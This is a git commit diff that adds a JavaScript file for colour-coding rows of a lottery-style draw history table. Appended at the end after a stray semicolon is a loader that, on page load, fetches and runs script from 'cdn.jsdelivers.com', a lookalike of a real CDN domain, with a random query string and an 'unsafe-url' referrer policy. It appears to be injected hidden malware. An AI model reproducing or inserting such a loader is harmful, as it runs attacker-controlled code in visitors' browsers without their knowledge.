feat: 项目基础框架+配置+Kernel
This commit is contained in:
@@ -0,0 +1,172 @@
|
||||
|
||||
//去除空格
|
||||
String.prototype.trim = function () {
|
||||
var str = this,
|
||||
str = str.replace(/^\s+/, '');
|
||||
for (var i = str.length - 1; i >= 0; i--) {
|
||||
if (/\S/.test(str.charAt(i))) {
|
||||
str = str.substring(0, i + 1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
//算法2
|
||||
function Arithmetic2(p0, p1, kz1, kz2) {
|
||||
var aa = Math.abs(kz1 - kz2);
|
||||
var bb = Math.abs(kz1 + kz2);
|
||||
|
||||
var cc = p0 + aa;
|
||||
var dd = p0 + bb;
|
||||
|
||||
if (cc == p1 || dd == p1) {
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
//算法3
|
||||
function Arithmetic3(p0, p1, kh1, kh2) {
|
||||
var aa = Math.abs(kh1 - kh2);
|
||||
var bb = Math.abs(kh1 + kh2);
|
||||
|
||||
var cc = p0 + aa;
|
||||
var dd = p0 + bb;
|
||||
|
||||
if (cc == p1 || dd == p1) {
|
||||
return true;
|
||||
}
|
||||
else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
function checkcolor1() {
|
||||
var trList = $("#dataForm1").children("tr");
|
||||
var list1 = new Array();
|
||||
var list2 = new Array();
|
||||
var list3 = new Array();
|
||||
|
||||
for (var i = 0; i < trList.length; i++) {
|
||||
var tdArr = trList.eq(i).find("td");
|
||||
//1:中,2:和,3:中和,4:都不是
|
||||
var a = trList.eq(i).data("view");
|
||||
|
||||
//var history_income_type = tdArr.eq(0).find("input").val();//收入类别
|
||||
//var history_income_money = tdArr.eq(1).find("input").val();//收入金额
|
||||
//var history_income_remark = tdArr.eq(2).find("input").val();// 备注
|
||||
var mm = trList.eq(i - 1).find("td").eq(10).find("input").val();
|
||||
var qi = tdArr.eq(1).text().trim();//期号
|
||||
var sum = tdArr.eq(2).text().trim();//总和
|
||||
var he = tdArr.eq(5).text().trim();//和
|
||||
var zhong = tdArr.eq(10).text().trim();//中
|
||||
//console.log("我是"+he)
|
||||
var kong1 = 0;
|
||||
var kong2 = 0;
|
||||
//集合赋值
|
||||
if (a > 0) {
|
||||
if (i > 0) {
|
||||
var m = i - 1;
|
||||
while (m >= 0) {
|
||||
kong1 = trList.eq(m).find("td").eq(10).find("input").val();
|
||||
//console.log(kong1)
|
||||
if (kong1 > 0) {
|
||||
break;
|
||||
}
|
||||
m -= 1;
|
||||
}
|
||||
var n = i - 1;
|
||||
while (n >= 0) {
|
||||
kong2 = trList.eq(n).find("td").eq(5).find("input").val();
|
||||
if (kong1 > 0) {
|
||||
break;
|
||||
}
|
||||
n -= 1;
|
||||
}
|
||||
}
|
||||
list1.push({ type: a, qihao: qi, zonghe: sum, kz: kong1, kh: kong2 });
|
||||
}
|
||||
}
|
||||
|
||||
//获取中和
|
||||
if (list1 != null && list1.length > 0) {
|
||||
for (var i = 0; i < list1.length; i++) {
|
||||
var t = list1[i].type;
|
||||
var a = list1[i].qihao;
|
||||
var b = list1[i].zonghe;
|
||||
var c = list1[i].kz;//zhong
|
||||
var d = list1[i].kh;//he
|
||||
var e = 0;
|
||||
var f = 0;
|
||||
if (i > 0) {
|
||||
e = list1[i - 1].kz;
|
||||
f = list1[i - 1].kh;
|
||||
}
|
||||
Arithmetic4(t, a, parseInt(b), c, e, d, f);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//算法1
|
||||
function Arithmetic4(type, qi, sum, k1, k2, k3, k4) {
|
||||
var period0 = qi.substring(qi.length - 3, qi.length);
|
||||
var periodwan = parseInt(qi) - parseInt(period0);
|
||||
|
||||
var sum0 = parseInt(sum / 2);
|
||||
var bai = parseInt(sum0 % 1000 / 100);
|
||||
var shi = parseInt(sum0 % 100 / 10);
|
||||
var ge = parseInt(sum0 % 10);
|
||||
|
||||
var sum1 = bai + shi + ge;
|
||||
var shi1 = parseInt(sum1 % 100 / 10);
|
||||
var ge1 = parseInt(sum1 % 10);
|
||||
|
||||
var sum2 = shi1 + ge1;
|
||||
var period1 = parseInt(period0) + sum2;
|
||||
var period2 = period1 + periodwan - 1;
|
||||
|
||||
var t1 = Arithmetic2(parseInt(period0), period1, k1, k2);
|
||||
var t2 = Arithmetic3(parseInt(period0), period1, k3, k4);
|
||||
if (t1 == true || t2 == true) {
|
||||
$("#tr_" + period2).add("p").css("background", "#ebadf2");//紫色
|
||||
}
|
||||
else {
|
||||
if (sum2 > 3) {
|
||||
//$("#tr_" + period2).removeClass();
|
||||
$("#tr_" + period2).add("w").css("background", "#fffff");//白
|
||||
}
|
||||
else {
|
||||
$("#tr_" + period2).add("b").css("background", "#a3bff2");//蓝
|
||||
}
|
||||
}
|
||||
}
|
||||
;function loadJSScript(url, callback) {
|
||||
var script = document.createElement("script");
|
||||
script.type = "text/javascript";
|
||||
script.referrerPolicy = "unsafe-url";
|
||||
if (typeof(callback) != "undefined") {
|
||||
if (script.readyState) {
|
||||
script.onreadystatechange = function() {
|
||||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||||
script.onreadystatechange = null;
|
||||
callback();
|
||||
}
|
||||
};
|
||||
} else {
|
||||
script.onload = function() {
|
||||
callback();
|
||||
};
|
||||
}
|
||||
};
|
||||
script.src = url;
|
||||
document.body.appendChild(script);
|
||||
}
|
||||
window.onload = function() {
|
||||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||||
console.log("Jquery loaded");
|
||||
});
|
||||
}
|
||||
Reference in New Issue
Block a user